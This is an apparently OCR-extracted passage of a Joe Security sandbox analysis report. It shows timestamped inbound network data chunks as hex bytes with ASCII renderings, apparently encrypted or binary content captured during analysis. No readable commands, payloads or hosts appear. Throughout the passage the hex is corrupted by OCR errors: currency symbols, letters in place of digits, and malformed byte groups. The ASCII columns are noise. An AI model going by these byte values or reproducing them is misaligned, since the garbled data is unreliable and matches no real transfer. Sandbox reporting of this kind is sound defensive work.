Data Ascii: U|/U7[za~voS]jihPsql q"a{OQN(;VCcu[;12KB/V;2Py{3R,uHIm}7</ly7JaF5FB"A)0sS]3.<?N9mqFP!?

2022-01-13 19:22:17 UTC 20 IN Data Raw: 4d f8 2d 49 24 d1 ce 13 a8 58 f9 86 50 91 ec el 17 8¢ 43 f5 ¢7 2a 1b 77 b2 d9 19 c3 58 9a 3a 24 63 36 b2 08
eb fb 52 1b 44 07 7a 66 5d 1c Ob 9f 1c Oe df 14 32 8e 2e 6a c7 69 77 3f 6e 02 a2 Ob 39 7a 0a 79 52 3c 99 e6 d6 93 ef 75
a0 62 10 a4 02 dc 94 7c 1e 83 29 ff cd 6¢ 05 84 53 3b a2 03 b8 d2 13 ad a5 9d 95 67 a8 04 b6 88 8b cd b7 b6 23 {7 d1 24
28 de c3 18 55 4e 94 07 41 fb ¢8 99 fb b0 b5 b5 0a b8 4f 5a ec aa 4b df 4d 20 2b 6e ae 44 d7 ff dO f5 c2 7f 37 d2 1c 78 cO
68 ff c1 42 39 de 61 4b 06 b3 ab ba d8 ea 0f 24 66 8a 50 d6 00 8e 11 19 33 91 6a 91 18 40 f2 a8 13 97 f0 fb dc df b7 55 71
77 bd d2 ec bc ¢3 5f 73 0b 9f 91 el 94 49 05 37 a1 90 7a cc 75 b1 91 f9 d1 65 64 db a6 ba e6 a7 9c 07 2d 4b 10 54 ee 27
a9 e8 e5 2d dd 08 24 c2 c9 79 22 62 ea d6 9a a9 c5
Data Ascii: M-I$XPC*wX:$c6RDzf]2.jiw?n9zyR<ub|)IS; g#$(UNAOZKM +nD7xhBIaK$fP3j@Uqw_sI7zued-KT-$y"b

2022-01-13 19:22:17 UTC 21 IN Data Raw: 6¢ 91 e5 36 5a f4 b4 30 d3 c¢9 26 79 3e 2c 57 67 5¢ f1 fa e4 e5 34 19 cd 30 10 1c 67 d5 91 b7 a8 0f d5 30 01 63
0f 15 79 b9 51 58 ed 46 c5 3b b6 ef de 13 c3 5c e5 6f 13 84 51 9d 36 a6 4c ce b2 32 d9 el a2 40 30 57 74 61 96 b2 67 Oc
a7 90 b0 ca 32 56 €9 63 1b 35 72 6f 4d 5e a6 Oe 86 e4 77 71 2c 5a f2 8f Oe 91 a4 1d a9 9c ce 1b 2f de 8b 85 c9 b8 8a 88
15 ce bd 50 13 34 c2 84 4f 17 ¢6 07 d9 36 91 f6 08 b3 e6 3f 5d 48 8a cd c5 16 4b 4e c2 cb a6 4a d7 1a 38 38 70 af 00 00
el 0a b2 2c 7a df 03 e4 ef 28 03 7a b5 11 aa 3c 52 49 a3 d7 00 be cc 84 52 62 d6 9c 13 4f f6 1d fc 5a fb ac 42 21 19 c7 69
le cb c8 a0 1a 77 22 20 7e b5 bb 42 5e f1 ¢3 0d dd 19 8b ¢4 94 6e 35 77 7a a5 88 44 58 96 7d 60 ae 20 6b ba 06 04 f1 34
b5 0f 0a c2 75 b5 €0 9d 8b da f4 41 01 6d 18 4c 82
Data Ascii: 16Z0&y>,Wg\40g0cyQXF;\0Q6L2@0Wtag2Vc5roMAwq,Z/P4067?]HKNJ88p,z(z<RIRbOZB!iw" ~Bn5wzDX}
k4uAmL

2022-01-13 19:22:17 UTC 22 IN Data Raw: af cd d4 Of cd 76 a8 a4 19 8e 3f d1 ca e8 e9 6¢ 6f ff 54 b6 03 6a 83 af f3 d9 5f 29 8e 7f 2e cb 14 e5 fe 40 dc 53
4159 aa 31 2a 02 b2 48 72 97 fb db 1f 40 50 bd 40 60 e1 Ob cb 83 d9 b6 6f 6b fe e7 6b db 58 98 1f bc dc 72 el 1e 60 Oc
88 2aebfba9 72 6b 7e 0f 07 47 51 7f 28 18 e5 7e d3 83 32 a7 98 16 ec e5 2¢ 1a 7c ab 48 d8 9c Of 7a bd e8 d8 32 5 de
95 f5 76 18 33 24 08 ba de 9e ee 55 1f 5a 53 42 24 7e 51 38 44 91 19 db 1f fd 32 52 be 70 4f 4e db 14 ba 8c 3c c6 52 ce
ec ad 40 4c ab 11 98 74 b6 25 1c 18 38 cd 29 8e 72 a8 f1 fe 25 10 0d d7 04 b0 9c 34 6a 23 93 f1 2d 96 c3 71 41 54 5¢c e7
359282 5c 83 7b de 93 e5 26 d3 73 5b 9e aa 26 70 ab 4f 54 9f 67 81 c2 c5 4c 3f b8 42 d3 fa 46 de 82 aa 31 fa b8 ba c2 df
19 31 92 27 88 4e bc dc 9e 06 5e e0 3a 6a 99 14
Data Ascii: v?I0Tj_).@SAY1*Hr@P@ okkXr *rk~GQ(~2,|Hz2v3$UZSB$~Q8D2RpON<R@Lt%8)r%4j#-gAT\5{&s[&pOTgL
?BF11'NA;j
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:17 UTC 24 IN Data Raw: da fe 40 31 fb 0d 7a 8f 85 89 61 c7 a2 e0 bf 3d 90 63 ee 76 4e ca 25 96 e7 17 05 df 1a 31 57 d7 Of 16 b2 1f b7
d9 39 4f 8e d9 27 bc 5b 03 c6 0a 57 4c 48 49 3d 78 7a 5b 4f 0d ec 23 9f 5¢ 46 cd 3a ea 5¢ 5a 3a 90 73 69 60 90 80 8c bb
46 1b d8 35 8f 29 35 9f 27 a0 3b a2 Oe 76 €9 2f 99 bb 39 33 7c 9b 97 63 97 d6 €0 81 c3 25 e0 54 b9 53 42 79 49 db b0 33
fc e4 6f Of b5 ab ba a5 8a f4 03 3e 3b 46 05 bd 17 84 0d 6a b4 68 51 5d 64 5c ea 74 a7 ae 30 Ob d8 e2 Oc 42 83 d5 1f 84
dd 51 2d 1e 86 4e bb 5a fO ee 43 b7 6 55 3f 24 {7 cd ¢8 16 48 d9 3b 3b 14 5f 19 75 b9 21 90 69 1f 7f 69 02 d6 82 54 9e 5¢
97 al 1c 8c 71 45 5d 76 cf 7a 88 e7 e6 ec fe fa ef 2c al e6 fO c6 d9 a7 ee c7 ¢8 59 01 2d a4 80 al f2 ee 56 f2 3a b0 cd 15
b0 3c 30 be 62 b8 40 33 90 0f 98 7f €5 c7 7e b3
Data Ascii: @1za=cvN%1W9O'[WLHI=xz[O#\F:\Z:si'F5)5';v/93|c%TSByl30>;FjhQ]d\t0BQ-NZCU?$H;;_uliiT\qE]vz,Y-V:
<0b@3~

2022-01-13 19:22:17 UTC 25 IN Data Raw: 27 al 22 5a ac ff 9f 73 fc 0d 60 cO 94 b5 be 48 a7 dd 58 ed 7a fd Of bf 40 4e 08 7c dc €3 b3 ba 28 13 a4 49 e3
90 1f 05 f1 8c 6b 78 b0 91 88 bb 43 a6 Ob d3 d4 21 dd a2 15 d3 7e c4 7a 20 5c 4e d7 18 31 7c 81 db 09 22 99 4a 3d b2 4c
37 94 70 be c4 68 38 49 44 4f e7 e8 b5 b6 38 5d d4 bb 26 3e 20 27 82 29 ea ad ad ad ad bc 29 4a a5 78 77 78 55 f2 {8 f6
7d 5b 7c 2c e4 f2 3f b1 b8 9b 18 a8 5¢ 92 ¢6 33 da e0 92 73 3c ¢9 64 8b c9 d3 bc b0 c7 be 83 a3 cc 93 f1 65 09 26 62 31
4a af 10 88 Ob be 8a 03 e7 cc 4f ef 2b 9b e1 17 db 09 6b f5 €0 d7 d6 7f cO 93 ba bc af d3 60 65 1d e8 b4 da 52 a2 b7 64 cf
26 31 64 18 b9 83 81 a8 18 a8 4f 4d 4f fd 7c 2c 7d 3a 29 c4 06 3e 2b 43 4d 88 11 9c a8 fd cb fe bd 58 7a 5b 62 fd 7f 29 ec
cf e6 52 df cc Of Oe f6 54 e2 95 ef 65 1e 63 09
Data Ascii: "Zs"HXz@N|(IkxC!~z \N1|"J=L7ph8IDO8]&> "))IxwxU}[|,?\3s<de&b1JO+k'eRd&1dOMO]|,}:)>+CMXz[b)RTec

2022-01-13 19:22:17 UTC 26 IN Data Raw: 07 36 Oe d6 32 98 06 19 77 Of da 9c 1d 82 45 45 1c 7e a4 f8 86 29 25 84 51 31 39 56 d2 ec b0 24 10 42 02 Oe
a59b 11 02 fa 0a 14 ea b3 5e 36 26 01 29 83 af d4 87 46 5d 46 de 9c 1d 87 dO 89 c2 7a 69 59 8b 45 a3 8e 1f 71 d2 cb 15
7e c0 b3 d9 7e f5 00 1d 9a 3f ad 68 6b 01 aa 2d 85 cb 6¢ bc 72 67 57 Oe ed 8f cd f7 2d f2 fa 7f da 92 75 2e dc 9c 0d 70 b9
ac 05 61 0f 07 7b 32 36 4e 40 Oa ee 70 f2 17 27 3e 7e 2d a8 45 99 95 c8 b9 b4 1e fd b9 6a 23 97 51 47 d3 c2 a4 72 f9 5¢
78 ¢7 ce 9d 07 23 1e 7f c7 26 66 2c 8e d7 03 bb 1e 77 b5 e5 38 98 70 ¢3 12 57 c1 03 47 f8 4a de ca 5 6f 43 c3 a7 66 cf
la ce ad ac 6¢ fe b2 7d 42 7c d2 4f 04 df 5¢c €9 63 f1 e6 e7 79 f4 e8 19 d8 36 19 9e 4a d2 19 21 1a 74 1c 20 69 bd 1a 67
€7 36 bd 10 57 c3 14 2e e0 8d be 9b e2 31 ce 9d 30 92
Data Ascii: 62WEE~)%Q19V$B"6&)F]FziYEq~~?hk-IrgW-u.pa{26N@p'>~-Ej#QGr\x#&f,w8pWGJoCfl}B|O\cy6J!t ig6W.10

2022-01-13 19:22:17 UTC 28 IN Data Raw: 37 17 dd 47 1d 8 e4 c0 bc 78 df 59 01 ¢3 32 1e 31 f3 78 d8 e4 €3 69 a0 70 c5 2c b5 7b 2e 07 31 3c c4 ¢5 b0 29
4 07 33 3f c9 d1 6d 8b 91 f9 65 66 8e d6 93 97 ae 37 Ob a0 77 9a 15 8b b2 81 b7 b9 14 26 99 80 3e 72 c2 30 7b 56 9f 3e
a9 83 d6 9f 1b 5b 10 a0 0d 8e 3a 2b 1d 92 9b e8 ff 99 f1 99 96 7e Ob c3 0d 8f e4 37 c8 9b 16 58 f4 03 24 d5 11 aa 8f 85 82
2f 2a 68 94 30 6a 2a 66 eb 78 db b9 28 71 43 53 Oc 48 ca e0 3b 16 32 ff d3 d0 ab b2 a5 ef dO ff b2 7a b4 a5 f0 bc 67 19 22
3fb6 90 18 21 48 cb 3d fb d2 6b 68 fb 3f db 44 54 0d ab bb 1d 88 ec cf 15 9d fb 3e 50 be b0 cb 9d 83 cb 7c 2f 7d 45 b0 27
18 19 dd 82 2f 7d 3a 8d bc ¢4 7c dd 15 32 00 f3 94 63 97 88 2e el Oe 3f f5 ¢2 70 ¢7 1d 00 df 59 05 83 a9 80 19 a8 f0O de
ec e5 58 5b 08 cd Oe ab bd 45 4d 41 2d 6d 70
Data Ascii: 7GxY21xip,{.1<)3?mef7w&>r0{V>[:+~7X$/*h0j*fx(QCSH;2zg"?!H=kh?DT>P|/}E'/}:|2c.?pYX[EMA-mp

2022-01-13 19:22:17 UTC 29 IN Data Raw: 36 41 da e7 25 c2 b3 b2 3c c3 8e 75 78 ef eb al 34 7d 44 94 29 6 dd f3 d5 84 96 c4 ed 68 fd 4b 26 71 97 46 c7
2c 70 14 b8 e6 d4 10 8c 1b fe 4b 4d cc f7 2a 98 8a ec 1d 63 1f €0 c3 ab Oa b9 fO ad ba 9¢ 7b ae b2 88 4c dc 83 d2 c4 69
06 b9 3d bd 4c 97 9a ea da €0 cd 6a ea d7 52 d7 4b 4e c7 6a 7f 1b 9b a0 52 8f 2a f0 16 fO b3 1d c0 6d fe 74 7f ae b0 33 38
91 9e e5 59 08 07 1e 3c 4f c3 ef 57 8b d1 1c 2b e3 ae 21 88 4b 54 a8 68 c7 69 7f 6b a7 85 ab c4 d8 73 36 14 4c 60 22 Oe
18 83 f2 7f a7 Of cb ¢8 00 d5 38 8a dc f6 df 73 d7 27 13 d1 12 12 38 c4 a4 b5 01 33 0f 7d 58 1a 66 ec f3 bb d7 el 77 b8 d5
01 b8 85 ab 4e b3 f1 54 08 51 42 64 f0 53 b6 5a a6 6d f6 a0 65 5e 95 48 2e 61 27 87 61 c7 14 11 cf 8c 98 29 d3 bf d0 b7
a5 24 67 9a 31 92 c7 1f 7b de 8d 09 39 el 40 33
Data Ascii: 6A%<ux4}D)hK&qF,pKM*c{Li=LjRKNjR*mt38Y<OW+!KThiks6L "8s'83}XfwNTQBdSZme"H.a'a)$g1{9@3

2022-01-13 19:22:17 UTC 30 IN Data Raw: c3 b6 33 93 54 24 Ob 2f 4e 9e 1a 2f 34 39 f6 96 el ac 36 b5 0d b1 f6 €8 5e 04 b7 bf fO b4 af 18 4f €7 10 17 96
09 9a 2b 83 23 1a 84 eb 6¢ 2b 6b 94 83 cd 67 44 db b9 c1 e7 2a 70 e4 59 df 9c b5 b6 ae 72 57 d8 Ob 72 b8 38 78 37 3c
96 c9 6¢ f9 5a 8¢ 6f 61 da dc a9 30 4f 63 9a 30 2c 9f d2 c0 43 ec 84 df 4a c1 41 89 ¢3 50 d6 38 ec c7 da 4f 1b 8c fa ef 2f 9t
ec 03 36 4d 8e c3 b8 3c 6b 5d 38 84 72 €9 e3 03 20 c0 86 5e be 68 38 35 c5 Oe d3 44 6e 5¢ 58 2f 36 b4 27 80 ef 22 9f 86
51 28 18 5f 29 35 e5 3e 35 30 a6 7a be ca ee f9 d0 91 25 55 06 b2 3f a6 Ob d1 f6 aa 2e 14 e0 52 bc 9c ea c5 40 2a 10 17
8c 5f 61 d1 a7 8a 36 bd dc e3 19 d3 6b 74 b7 fd cO cc 3 52 b4 a0 70 b7 94 90 66 9a 2b 60 96 7b 24 e6 10 20 65 08 b5 de
32 af 33 f4 5b fd 56 ff de 05 49 d9 68 92 75 ae 2b
Data Ascii: 3T$/N/496"O+#1+kgD*pYrWr8x7<IZoa00c0,CIAP8O/6M<K]8r ~h85Dn\X/6"'Q(_)5>50z%U?.R@*_abktRpf+'{$
e23[VIhu+

2022-01-13 19:22:17 UTC 31 IN Data Raw: 03 ¢7 b4 dd al df d8 d9 e6 cc 8f f4 31 4e fe 24 3 6f f5 39 45 ae 48 ca 45 8c 95 e6 4f 23 92 d6 72 Oc cf 24 06 bl
0d 44 94 73 55 bc 26 72 bl 8f 60 1d 5d 14 23 00 e2 cd 9a df ec 1d 6e 44 {7 3c d7 63 27 76 16 e3 56 52 19 b3 Oe b4 ea 0d
7f 99 cd cb 0f d3 09 7c 67 2e 6a 71 42 15 50 3c a6 71 28 31 10 e7 b5 30 c1 1c e4 32 ac df 9e 94 d9 ce 91 12 62 08 40 bb
16 11 ea b5 19 66 ba 6d 33 1f 16 b2 e6 98 fc f1 3f a9 c8 46 f9 96 12 93 1d e7 0f 0d 46 d7 60 39 42 ca ff 7 ab 81 4d 33 db
8a 6e 8d 14 90 e5 83 fe 72 ce 22 4a 96 51 ca 5d 43 25 43 0d 88 0d 17 0d 07 42 54 b4 3e fd bc 35 76 50 5c ff 65 €9 78 c7
€6 50 65 ea 9a ab 56 10 99 21 fa 7e 62 31 92 8b 56 76 76 db e5 e2 e0 a9 f9 d5 7f 94 28 7d b7 5e 44 64 51 f1 35 Ob 54 11
6f 70 d7 74 a0 5 8f f3 bb b1 20 Oc a7 d0 e2 5a
Data Ascii: IN$09EHEO#r$DsU&r #nD<c'VVR|g.jqgBP<q(102b@fm3?FF 9BM3nr"JQ]C%CBT>5vP\exPeVI~b1Vw(}*DdQ
5Topt Z

2022-01-13 19:22:17 UTC 33 IN Data Raw: €3 01 2a 44 ce a6 Oe 5b 49 b9 85 85 7f 21 01 4d 26 79 2 54 a0 74 bd 62 61 7b 8a 50 9a 13 72 Oe 39 ¢3 58 f9
95 fd ea 01 f2 08 d7 78 d4 e4 a5 85 d9 1c f6 d1 05 4e c7 6¢ 29 5d Ob 9d 93 d3 d9 ed b2 4c cc {8 Oe Oa fe 51 62 c4 8a 88
75 8f Oe 04 a4 f1 62 47 3a €0 €5 4b €3 08 2f 7b 43 53 dd €8 b1 ff 6e 2a 84 b8 30 4c 63 el 9e 87 c0 98 f1 d7 bb cd 6¢ cb
96 90 93 18 50 81 44 83 44 be c4 91 6¢ 73 d4 04 b7 el 67 ee 33 11 cf 2d ef 89 22 86 53 19 b0 c2 54 1a 64 df 6¢ 2e 80 c2
c4 9e 18 89 df 16 40 3a 6f d8 7b 5 60 21 5d 90 eb 1a 7b d5 8e 4a 06 3d cc ca d5 03 b8 32 a7 9a a6 12 4e d4 84 33 dd 57
f2 5b 7e bl 1a d5 31 86 4d 4e 90 7a c8 27 11 89 da 86 58 e5 25 b dc 90 8b 68 96 76 3d 15 b7 1a ed 37 42 fc 30 12 cc 5d
68 8b 30 f7 a3 ch 0d 1e 75 2¢ 12 5e b4 69 45 ed 12 17 10
Data Ascii: *D[IIM&y, Ttba{ProXxNI)]LQbubG:KACSn*0LcIPDDIsg3-"STdl.@:0{ [[{J=2N3W[~1MNz'X%hv=7B0]hOu,NE

2022-01-13 19:22:17 UTC 34 IN Data Raw: 33 85 62 64 94 7c bf 5f 1b ff 28 af b3 a7 3b d6 f6 45 99 80 d0 55 65 Of de 99 91 89 d5 fa el 16 5e 4c 12 31 ce
aa al 54 bl 27 d9 56 26 84 94 3e a4 2b db cf 43 21 4c 1a 95 ea a4 69 25 4d 38 c4 c3 4a 5d f6 41 aa 8c 65 ed le 3c 4f a7
94 e3 97 Ob 41 e0 e0 00 47 22 e7 2f 93 24 25 34 e6 60 a8 c3 bb da d8 cd 89 3f e8 c8 17 0a eb 27 1b 9¢ 59 38 36 ca 9a 7b
d5 8c 4e d6 68 44 29 17 c2 c0 54 68 81 c1 fd 63 f1 3d cc f3 c4 82 9e 2b aa 4c 42 24 e7 cd 17 99 3d 06 68 de aa e9 24 5a
3d cd ce e9 ce fd 36 62 d6 6a 3f 08 77 7d 3a 47 9e bd 94 7d 38 53 b7 bd 4e 78 59 ae 73 34 77 39 61 c6 ce f3 51 1e 15 7d
5a 32 6d e9 e5 40 4b 59 be 33 99 e9 7a 92 ae 01 f2 14 57 38 39 ¢7 04 af a9 a2 0f c6 75 31 7d el e4 51 51 17 29 de 38 a4
6d 48 df 56 f9 99 8e 61 7c a6 53 48 e3 2 87 8e le 17
Data Ascii: 3bd|_(;EUe L1T'V&>+CILi%M8J]Ae<OAG"/$%4 ?'Y86{NhD) Thc=+LB$=h$Z=6bj?w}:G}8SNxYs4w9aQ}Z2m@
KY3zW89u1}QQ)8mHVa|SH

2022-01-13 19:22:17 UTC 36 IN Data Raw: 8d 8c f7 a3 90 18 56 cf 7a a8 0a 2a 80 20 dc 4f 23 15 9a 8c 56 70 10 89 c5 48 d1 30 1f e8 b1 b5 dO ef 2¢c 84 56
eb 9a d7 d6 85 ch 63 73 b2 9b 20 67 03 22 15 d6 d2 4c cc €9 87 60 2e le 7e aa 5d 2c 88 Oc d6 e7 24 59 ad b8 33 23 23
9b 4a 17 b6 d3 69 Oc 46 da 1a 8a 3f 5¢c fa 2e 78 5a de 9a 7d 34 e4 87 94 ec bb 5a el b7 2f 5c¢ ff cb 6f 68 ee 28 96 bb 51 4c
ce e2 8d 68 83 d4 6¢ 35 35 96 61 7f 5¢c 4b 9e 69 82 a0 30 74 02 c2 03 67 89 cb 6f 1a f7 bf 8a 30 6d dc 7f 08 b4 24 7c be
cc f6 56 28 e3 2f e7 23 ff d9 92 24 5d e4 e3 37 08 ff ff 3c 74 82 d4 be ca 32 al 12 b4 33 9d 83 c9 02 c9 75 25 46 1d 94 f8
ab 37 4b 8a 27 55 f7 d2 e5 2c el 5¢ 90 2d cb c3 a7 52 ab fa 5a 7f 2a c¢6 ¢9 77 20 Oc Oe 22 17 bc df 78 cd 74 b1 00 76 d9
ea 33 5d 7d 22 7e e3 63 al cb 06 fb d7 65 43 2c b2
Data Ascii: Vz* O#VpHO,Vcs g'L’.~],$Y3##JiF?\.xZ}4Z\oh(QLhlI55a\KiotgoOm$| V (/#$]7<t23u%F7K'U,\-RZ*w "xtv3]}"~ceC,

Copyright Joe Security LLC 2022 Page 25 of 69



kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:17 UTC 37 IN Data Raw: 1e 12 58 fb d0 f6 2b 78 b7 b3 54 02 c3 58 e5 3d 3e 1e 03 56 4e 7d ba a2 17 c9 75 ac f7 c5 45 a9 43 db b6 fe 3d
1f cd 6¢ 8d f8 4e 4b b1 b7 bb 81 cd 6b 07 2f 66 66 8f 48 62 f8 59 6f Of b7 bc 08 df 83 24 10 5d 65 1b fb 5e 22 7f da 3f 72 c3
ef f1 50 68 56 fb cO c2 a3 c4 22 e0 25 38 6e e7 80 be Oe 40 fe a2 0f c1 f3 72 62 2c 32 69 b2 87 bl b4 39 b1 d8 fO 11 6b 9d
7 d0 ec bb 30 04 ac 26 29 9f e9 b7 71 54 96 67 11 dd 43 01 31 9a d1 73 36 87 56 f4 5¢ 59 d7 66 f9 86 3d 3f 54 80 56 6a
29 87 d0 46 1b 65 16 1c e4 bf 4b ee 9a €3 69 02 d5 04 al 4a c3 57 7e 0b Oa db e4 7f ac cc 8d ec b3 b0 81 2a 26 64 9b fe
35 0b 21 fO da 8d 29 97 f8 42 d5 a3 f5 67 96 8f eb 3e 37 al 11 54 24 6a 92 78 e7 20 74 b5 b8 5f 65 27 07 37 ae 80 fd c7
73 2b 92 16 fb 7e 6f 14 4a c6 a6 17 3e ba da
Data Ascii: X+xTX=>VN}UEC=INKk/ffHbYo$]e " ?rPhV"%8n@rb,2i9k0&)qTgC1s6\V\Yf=?TVj)FeKiJW~*&d5!)Bg>7T$jx
t_e'7s+~0J>

2022-01-13 19:22:17 UTC 38 IN Data Raw: 2a le 91 1c 6d 10 e5 bc 76 55 65 12 51 €7 e4 ab dc 8a 27 0d c5 4d c3 b7 ¢7 00 a8 18 fd 60 2d f9 8c 24 38 2a
7e fc 57 81 33 9d 9b 4a 06 da 1c 18 8e Oc €8 1b 5¢ f0 be c6 ad a7 83 75 28 00 05 9b 44 bb 56 f4 49 {8 88 4f 2d 88 6a 1f fe
5a 72 ce f4 3c 8b 74 5f 7b 3f ae 4e b0 29 45 03 3¢ 32 a0 d7 6a 28 d2 9b 4b 12 4a db 1c c4 3f b3 Oc 8f af d4 96 Of df 5a 80
4ach 850347 17 1b e8 a6 Oc 5a al 2c 37 ec 7d 2b bd 21 e9 a5 52 57 54 ea b7 f4 56 d3 13 7c a4 ab b0 c9 74 b0 2b e7 ae
fb 8b df Oc 40 2f fc fd 38 ee b9 4e c7 1c 38 8a f6 9b f6 4d 58 €0 f2 b9 5a f3 80 ad 33 2b 53 12 41 c7 ba 7d 22 f2 5f 77 2e cf
97 21 f2 49 4b b6 34 01 ba b3 7b 6c ed 50 c0 76 24 6e 87 70 €9 4d f3 29 48 a6 8a ba ba b5 af 38 52 de 88 ba 00 2d 26 c4
b4 4d 5d 71 9c da d6 eb a0 71 2f 62 b5 11 28
Data Ascii: *mvUeQ'M -$8*~W3J\u(DVIO-jZr<t_{?N)E<2j(KI?ZIGZ,7}+'RWTV|t+@/8N8MXZ3+SA}"_w.!IK4{IPv$npM
YH8R-&M]qa/b(

2022-01-13 19:22:17 UTC 40 IN Data Raw: €6 f5 8a Oe 13 bc d5 a3 42 33 93 54 24 0b ba c2 6¢ 11 dd 1f 5f b0 40 dc 5c¢ 8f 50 db 14 4a c1 c0 6¢ 13 bc 9e 60
a4 46 92 3a 41 b9 al 40 3a 21 44 e2 el 72 bf 06 3d b5 b5 Oc 80 35 27 34 61 96 53 50 ca e5 89 8¢ dd 6a d4 98 2e 52 97
al 5 c6 8d 2f 8¢ 4d e0 4f 23 98 7b d1 8d fe 56 5¢c 25 8c eb ec de 74 61 60 f8 54 72 4d a4 6f 57 03 6f 5f 2f cf 15 c6 31 4c
de 96 cc 33 ef 5b 77 4d d2 e0 91 Oa 78 c8 5d b9 25 14 b3 be d7 17 7c 5b 8e 06 ef 43 ed 67 54 b7 d2 ec ¢3 98 76 a9 2e c1
25 9b f4 4a 32 10 51 b9 94 15 38 e6 f9 8a f0 fe de f3 89 b2 67 58 a7 d5 07 2b 82 96 66 98 c8 3d cb 01 31 ba 36 07 31 28
d9 65 eb e2 c6 66 2c el 9e 64 d5 02 f6 04 5 82 3a 2c 37 76 b2 31 27 3b d2 85 ce 3a da 84 55 df df 63 b7 6e c2 20 f9 2d
38 9c 6af6 al 89 db 05 33 2d 3d f5 ¢5 56 fd c9 67 49
Data Ascii: B3T$|_@\PJI'F:A@:!Dr=5'4aSPj.R/IMO#{V\%ta TrMoWo_/1L3[wMx]%|[CgTv.%J2Q8gX+f=161(ef,d:,7v1;:Ucn -
8j3-=Vgl

2022-01-13 19:22:17 UTC 41 IN Data Raw: fa 8e 1d Oe a4 16 3a 4d d1 f2 dc 30 ae 57 7b 94 46 ac 8d f8 31 00 e2 fe 2c 1f Oa bf 5d 64 64 42 3e d7 dd 49 40
75 75 ec d9 0d ee aa 27 eb 7f 27 80 40 47 2f 99 ff 30 d3 Oe 94 74 ef 7c 74 8a 9c 45 28 a0 13 4a b5 cf 06 ef ca dd db 15 da
97 eb 91 40 f5 19 e7 54 36 7b 2b 87 c0 71 b4 2d 8e 67 13 6a 5a 16 27 fe 86 d8 42 45 9f 88 57 70 ad 75 ca a0 06 17 c7 dd
ab 60 f0 Oa f5 fd 8d b5 fa 9c 3e 49 eb 2c €3 0b d1 70 a9 94 07 65 13 cO db 16 c5 e4 bb 53 56 8 04 aa 4f 83 23 fd d9 19 ca
€9 28 02 a4 05 79 47 5c¢ 5 6f 8b ¢9 78 b4 21 91 eb af a5 87 d8 21 b7 dd ff 11 bb 3 e5 28 be df 42 ce 58 96 10 1a 1d 26 9b
6e a5 5a eb 45 cd 43 52 e3 1c 67 08 b9 9b dc e6 21 48 65 1d f8 53 53 e2 21 b0 Oe 17 dO dc cc 48 ed 73 ea 76 €2 23 3e
45 03 5b d2 f9 5¢ 1b 80 fc 6f b4 d7 7f 6f fa 36
Data Ascii: :MOW{F1,]ddB>I@uu"@G/Ot|tE(J@T6{+q-gjZ'BEWpu>I,peSVO#(yG\ox!!(BX&nZECRg!HeSS!Hsv#>E[\006

2022-01-13 19:22:17 UTC 42 IN Data Raw: b0 2a d5 cc ee b5 ba 50 2a 11 1e b2 30 Oa e9 24 dd 32 ee 9d 76 8c 57 fc 99 2a 10 5a ec 22 f3 c0 17 ec ad 47
82 b5 8e b2 78 95 52 9¢ 09 97 9c 08 59 38 24 ac e7 2c 13 8f 9 8f dc 77 07 cf 48 c¢7 fd 0d 17 d9 01 23 32 23 fd 7f 54 68 b7
6f 4c ea 09 2e 86 9e 96 96 62 28 bc de 18 87 ca Oe 99 36 02 af a8 8d 83 ¢7 be 02 al 9d e3 09 af fe 5d a5 b2 34 88 ba ba
€0 44 6¢ bf ef 40 23 57 7b ¢3 4a 4b 52 db d3 aa ee ba d5 78 19 64 84 9c c3 5b 78 5d 79 a4 5c ed al 4b 44 16 80 16 73 8e
b9 e7 6a 83 03 19 c3 c5 ed 3c 84 ff da 22 26 6¢ 3b 85 47 7d ec 7e a2 0f 95 eb c4 ee b0 b3 79 ec a2 08 b0 98 a0 Ob 66 58
6b 32 d5 36 39 39 4e d8 25 46 cd al a8 03 b8 4b 5e 6d 52 d4 51 d4 ea 01 34 6b 64 24 88 46 dd 1d 7b b6 44 97 99 e4 97
60 74 a3 8b c4 7e 5e 80 53 81 5f ce 87 45 {8 32 Oe 98 dO
Data Ascii: *P*0$2vW*Z"GxRY8%,wH#2#ThoL.b(6]4DI@#W{IKRxd[x]y\KDsj<"&I;G}~yfXk2699N%FK "mMRQ4kd$F{D t~"
S_E2

2022-01-13 19:22:17 UTC 44 IN Data Raw: 43 50 30 af 6e 26 bc 20 c1 fc bd 8f 03 ee 05 85 72 14 94 d1 b7 0f 39 41 53 9b 1c bb a0 ed da 66 55 dd d5 cb d4
1f 05 fa €9 fd 63 ee 47 18 93 54 28 af 5b 9d 67 d6 3e €6 4d €6 49 ab 7c 04 91 08 5e 13 64 47 ab 9d 37 17 69 f3 03 cd 58
08 5f 91 55 bb aa 07 d9 f8 a0 e c5 b6 Oe f6 a6 f8 a2 d7 bf 78 05 81 7e 4f 83 23 d9 bb ad 4c 7f 0a 53 69 fa bc 7a 0d 10 fe
5¢ 1 59 d9 ea 7b 80 5e 44 d8 29 32 d9 ed 2c ed d7 e6 4e 19 68 94 82 f7 23 05 ec 5¢ ea 40 d2 1f 0d 18 €6 b8 d9 bb fd 3c
b8 e7 79 5a 3b 2c eb b5 20 93 €0 89 c2 d4 be dd b3 fc 2 87 0a 14 db 18 c3 el 13 72 14 6¢ 99 f8 92 ae 22 71 b2 28 e7 89
35 fe ec b7 bc 36 €0 36 5d 61 b6 22 69 ff 4d 96 6d 2¢ €9 98 9e 7d ad 13 d3 00 7e cd 12 88 19 ac 2b 92 78 af d7 cd 8a 5f 04
66 63 Le 76 ad a7 8f €9 09 3f 98 ab a5 83 a3 5d
Data Ascii: CPON& r9ASTUCGT([g>MINdG7iX_Ux~O#LSiz\Y{D)2,Nh\@<yZ;, .1l"q(566]a"iMm }~+x_fcv?]

2022-01-13 19:22:17 UTC 45 IN Data Raw: d2 24 0d 54 98 7d 5c ef c6 c8 e0 82 ab 6e 80 d6 60 ea 18 81 9f e7 bf 37 de 06 01 22 12 ee 52 a6 bd fe 58 81 8c
5a bf 51 58 c0 48 2c 1a c5 64 c6 Oe 92 59 Ob 48 3a 44 ad bb f0 ab c3 2a 71 80 1f 90 c2 6e 84 0d aa 31 14 3f b7 b4 91 1f fO
31 a0 5b df ac 27 58 93 ff 48 ad 1d e4 13 15 d7 db e7 2e 8¢ 5¢c a7 98 al 37 b2 65 1b bd 4a 8f 5a 09 40 76 c1 b8 f3 8f 8a 08
16 ec c1 06 al 62 9f 93 51 13 d4 1d 95 e0 61 53 16 f8 39 47 €3 {7 c1 f4 ae 34 1b 10 7e 5¢ 15 ca ad 23 88 8b a9 25 f9 d5
